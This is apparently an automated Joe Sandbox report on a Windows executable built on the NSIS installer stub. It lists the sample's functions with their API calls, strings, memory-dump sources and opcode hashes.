Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 9bf1345347551ad99251b033a374dd29c38f8ee43bbdf8c6824fc78253d04776
Instruction ID: bea79b3a0ece1bc6ad67d762bc59202c8df9b0d3ac543b92a9f7cfbf89d94624
Opcode Fuzzy Hash: 9bf1345347551ad99251b033a374dd29c38f8ee43bbdf8c6824fc78253d04776
Instruction Fuzzy Hash: 6B217471A44109BEDF019FB0C94AFAD7B75EF44748F20413AF502B61D1D6B8A941DB18

Function 00405993 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 00405999
CharPrevW.USER32(?,00000000,?,C:\Users\user~1\AppData\Local\Temp\,00403344,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,771B3420,00403542), ref: 004059A3
lstrcatW.KERNEL32(?,00409014), ref: 004059B5

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 00405993

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 2659869361-2382934351
Opcode ID: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction ID: a3647a5b8e032715a8ecc0c41ac115d98c53e42c85c632df021e5d83325ae185
Opcode Fuzzy Hash: ff6b15c2f5550a5b1ad39c2dabef59c5d9ab40b11c2ea079a8f7966cac1aab2f
Instruction Fuzzy Hash: 74D0A731101930AAD212BB548C04DDF739CEE45301740407BF605B30A1C77C1D418BFD

Function 00401F08 Relevance: 6.1, APIs: 4, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 00401F17
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 00401F39
GetFileVersionInfoW.VERSION(?,?,00000000,00000000), ref: 00401F50
VerQueryValueW.VERSION(?,00409014,?,?,?,?,00000000,00000000), ref: 00401F69

Part of subcall function 00405E8F: wsprintfW.USER32 ref: 00405E9C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: FileInfoVersion$AllocGlobalQuerySizeValuewsprintf
String ID:
API String ID: 1404258612-0
Opcode ID: 3b082d3ae56cd80e188a89b5e125e5232bc00da1bbd486e0c7b94093934bebb9
Instruction ID: 99fd8a33424c76a20816063d32e2a6550cff77f564c1afe2c3b0238effae22d3
Opcode Fuzzy Hash: 3b082d3ae56cd80e188a89b5e125e5232bc00da1bbd486e0c7b94093934bebb9
Instruction Fuzzy Hash: 93113675A00108AECB00DFA5C945DAEBBBAEF44344F20407AF905F62E1D7349E50DB68

Function 00401E51 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004051F2: lstrlenW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 0040522A
Part of subcall function 004051F2: lstrlenW.KERNEL32(00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 0040523A
Part of subcall function 004051F2: lstrcatW.KERNEL32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00402D94,00402D94,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,00000000,00000000,00000000), ref: 0040524D
Part of subcall function 004051F2: SetWindowTextW.USER32(Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll,Skipped: C:\Users\user~1\AppData\Local\Temp\nsb9BB3.tmp\System.dll), ref: 0040525F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405285
Part of subcall function 004051F2: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040529F
Part of subcall function 004051F2: SendMessageW.USER32(?,00001013,?,00000000), ref: 004052AD

Part of subcall function 004056C3: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256F0,Error launching installer), ref: 004056E8
Part of subcall function 004056C3: CloseHandle.KERNEL32(?), ref: 004056F5

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401E80
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401E95
GetExitCodeProcess.KERNEL32(?,?), ref: 00401EA2
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401EC9

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: e25249b87139e6aa3da4cb3d5fac545e17d625a69c27f26b2c2935b711216749
Instruction ID: 663650117de36b32c607de2b5c5339e49b80fcfff4c178b035665d2e4b1c7066
Opcode Fuzzy Hash: e25249b87139e6aa3da4cb3d5fac545e17d625a69c27f26b2c2935b711216749
Instruction Fuzzy Hash: 8811A131E00204EBCF109FA0CD449EF7AB5EB44315F20447BE505B62E0C7798A82DBA9

Function 00405166 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405195
CallWindowProcW.USER32(?,?,?,?), ref: 004051E6

Part of subcall function 004041E6: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004041F8

Strings

, xrefs: 00405176

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 843aab861ffb3f3227d1c446d01b64cf4776ac7e98eef2f295c4549480fb80e8
Instruction ID: 7fff49106f067b4291516d9fc604604598bdb5380bd5c908914395e8565309e0
Opcode Fuzzy Hash: 843aab861ffb3f3227d1c446d01b64cf4776ac7e98eef2f295c4549480fb80e8
Instruction Fuzzy Hash: 26015E71900609BBDB205F51ED84B6B3A26E794364F604037FA007A2D1D77A9C919F69

Function 004056C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,004256F0,Error launching installer), ref: 004056E8
CloseHandle.KERNEL32(?), ref: 004056F5

Strings

Error launching installer, xrefs: 004056D6

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: e8775a5d6321f0dea89ce82b90cc6292b7a3bd0044cb503c25c375156348e7c2
Instruction ID: 0bf1ed3311e3e942e0a1389e84d80c76f41ccd0b69acab1f7eccde3b1b9dfef0
Opcode Fuzzy Hash: e8775a5d6321f0dea89ce82b90cc6292b7a3bd0044cb503c25c375156348e7c2
Instruction Fuzzy Hash: D7E0E674E0020AAFDB009F64DD05D6B7B7DF710304F808521A915F2250D7B5E8108A7D

Function 0040388A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user~1\AppData\Local\Temp\,00000000,771B2EE0,00403861,771B3420,0040366C,?), ref: 004038A4
GlobalFree.KERNEL32(?), ref: 004038AB

Strings

C:\Users\user~1\AppData\Local\Temp\, xrefs: 0040389C

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user~1\AppData\Local\Temp\
API String ID: 1100898210-2382934351
Opcode ID: dd483a302f27d7fd5815fa17d0cc140b668f4dc35d1ba6fe7e243829f05c23e7
Instruction ID: 78adfbc6f23a2b3c20b59446217b09faef23a1eee4c9d5cf742f1d2697954a66
Opcode Fuzzy Hash: dd483a302f27d7fd5815fa17d0cc140b668f4dc35d1ba6fe7e243829f05c23e7
Instruction Fuzzy Hash: 2FE08C339041205BC621AF25AC08B1AB7A86F89B32F0581B6F9807B2A183746C624BD9

Function 004059DF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fTSt7dc60O.exe,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 004059E5
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402E28,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\fTSt7dc60O.exe,C:\Users\user\Desktop\fTSt7dc60O.exe,80000000,00000003), ref: 004059F5

Strings

C:\Users\user\Desktop, xrefs: 004059DF

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-3976562730
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: c27c0225baf4744af390cb43684771b46df34b65c4403afa93d532b781e968ba
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: A8D05EB3400920DAD3226B04DC0199F73ACEF1131074644AAF501A21A5DB785D808BBD

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.1384748730.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1384465097.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385695895.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.1385764243.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_fTSt7dc60O.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction ID: f345eba8489605592ce73ef35c78e6b42925bf5f5eceaf1f60f0973e38c56604
Opcode Fuzzy Hash: 9cbcb91a2cf1141c01d88779e182a67407fb9f9860b92084c2da8ef292891df1
Instruction Fuzzy Hash: AE318FF6904211DBF314CF64DC859EA77E8EB853D0B12452AFB45E726CEB34E8018765

Function 00405B19 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B29
lstrcmpiA.KERNEL32(00405D53,00000000), ref: 00405B41
CharNextA.USER32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B52
lstrlenA.KERNEL32(00405D53,?,00000000,00405D53,00000000,[Rename],00000000,00000000,00000000), ref: 00405B5B

Memory Dump Source

Source File: 00000000.00000002.1365197746.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1365171728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365230267.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365260040.0000000000446000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1365412260.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction ID: 19ad592fd5dcf9c9bc99336752ee576fec3eb52e2d0cc5b6bc7cc78b570e8094
Opcode Fuzzy Hash: f0f41473c1062d639537f97a351ef6b232bfd88747b8e1d85754dbc4161d6f9d
Instruction Fuzzy Hash: 5FF06231A04958AFC7129BA5DD4099FBBB8EF06350B2540A6F801F7251D674FE019BA9

Analysis Process: fTSt7dc60O.exePID: 4640, Parent PID: 2608COMMON

Non-executed Functions

Function 00404B6E Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B86
GetDlgItem.USER32(?,00000408), ref: 00404B91
GlobalAlloc.KERNEL32(00000040,?), ref: 00404BDB
LoadBitmapW.USER32(0000006E), ref: 00404BEE
SetWindowLongW.USER32(?,000000FC,00405166), ref: 00404C07
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404C1B
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404C2D
SendMessageW.USER32(?,00001109,00000002), ref: 00404C43
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C4F
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C61
DeleteObject.GDI32(00000000), ref: 00404C64
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C8F
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C9B
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D31
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D5C
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D70
GetWindowLongW.USER32(?,000000F0), ref: 00404D9F
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404DAD
ShowWindow.USER32(?,00000005), ref: 00404DBE
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404EBB
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404F20
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404F35
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404F59
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F79
ImageList_Destroy.COMCTL32(?), ref: 00404F8E
GlobalFree.KERNEL32(?), ref: 00404F9E
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405017
SendMessageW.USER32(?,00001102,?,?), ref: 004050C0
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004050CF
InvalidateRect.USER32(?,00000000,00000001), ref: 004050EF
ShowWindow.USER32(?,00000000), ref: 0040513D
GetDlgItem.USER32(?,000003FE), ref: 00405148
ShowWindow.USER32(00000000), ref: 0040514F

Strings

N, xrefs: 00404DF9
M, xrefs: 00404D18
, xrefs: 00405127

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: eeda71b71a34d3a0b7ba0c5416e900ef86050f568373e52e0e63e9c387a85d2f
Instruction ID: c838968d9b53d15d037ad3ebbdc97e0e82191de3b695f5e6670933e8e46a19ea
Opcode Fuzzy Hash: eeda71b71a34d3a0b7ba0c5416e900ef86050f568373e52e0e63e9c387a85d2f
Instruction Fuzzy Hash: E9026EB0A00209EFDB209F94DC85AAE7BB5FB44314F10857AF610BA2E1C7799D42CF58

Function 0040335A Relevance: 63.4, APIs: 27, Strings: 9, Instructions: 383stringfilecomCOMMON

Download Yara Rule

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNEL32(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 004062B2: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062C4
Part of subcall function 004062B2: LoadLibraryA.KERNEL32(?,?,00000020,0040339D,00000009), ref: 004062CF
Part of subcall function 004062B2: GetProcAddress.KERNEL32(00000000,?), ref: 004062E0

SHGetFileInfoW.SHELL32(004206A8,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405F48: lstrcpynW.KERNEL32(?,?,00000400,004033C8,00428200,NSIS Error), ref: 00405F55

GetCommandLineW.KERNEL32(00428200,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,00434000,00000000), ref: 004033DB
CharNextW.USER32(00000000,00434000,00000020), ref: 00403403
GetTempPathW.KERNEL32(00000400,00436800,00000000,?), ref: 0040353B
GetWindowsDirectoryW.KERNEL32(00436800,000003FB), ref: 0040354C
lstrcatW.KERNEL32(00436800,\Temp), ref: 00403558
GetTempPathW.KERNEL32(000003FC,00436800,00436800,\Temp), ref: 0040356C
lstrcatW.KERNEL32(00436800,Low), ref: 00403574
SetEnvironmentVariableW.KERNEL32(TEMP,00436800,00436800,Low), ref: 00403585
SetEnvironmentVariableW.KERNEL32(TMP,00436800), ref: 0040358D
DeleteFileW.KERNEL32(00436000), ref: 004035A1
OleUninitialize.OLE32(?), ref: 0040366C
ExitProcess.KERNEL32 ref: 0040368C
lstrcatW.KERNEL32(00436800,~nsu.tmp,00434000,00000000,?), ref: 00403698
lstrcmpiW.KERNEL32(00436800,00435800,00436800,~nsu.tmp,00434000,00000000,?), ref: 004036A4
CreateDirectoryW.KERNEL32(00436800,00000000), ref: 004036B0
SetCurrentDirectoryW.KERNEL32(00436800), ref: 004036B7
DeleteFileW.KERNEL32(0041FEA8,0041FEA8,?,0042A000,?), ref: 00403711
CopyFileW.KERNEL32(00437800,0041FEA8,00000001), ref: 00403725
CloseHandle.KERNEL32(00000000,0041FEA8,0041FEA8,?,0041FEA8,00000000), ref: 00403752
GetCurrentProcess.KERNEL32(00000028,00000006,00000006,00000005,00000004), ref: 004037AC
ExitWindowsEx.USER32(00000002,80040002), ref: 00403804
ExitProcess.KERNEL32 ref: 00403827

Strings

~nsu.tmp, xrefs: 00403692
NSIS Error, xrefs: 004033B9
TEMP, xrefs: 00403580
\Temp, xrefs: 00403552
Error launching installer, xrefs: 00403623
SeShutdownPrivilege, xrefs: 004037BE
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
TMP, xrefs: 00403588
Low, xrefs: 0040356E

Memory Dump Source

Source File: 00000008.00000002.2484087963.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.2484031765.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484393312.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484453178.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000008.00000002.2484558832.000000000044A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_fTSt7dc60O.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1875889550
Opcode ID: d952f9c30b305397e7321c136bd4514fabccd71d09d56b1e0123fd5a1a2d1ce8
Instruction ID: 39938aed3c042d93969ea090ff24049052e59ae08dabad03a7e97e37c14ef613
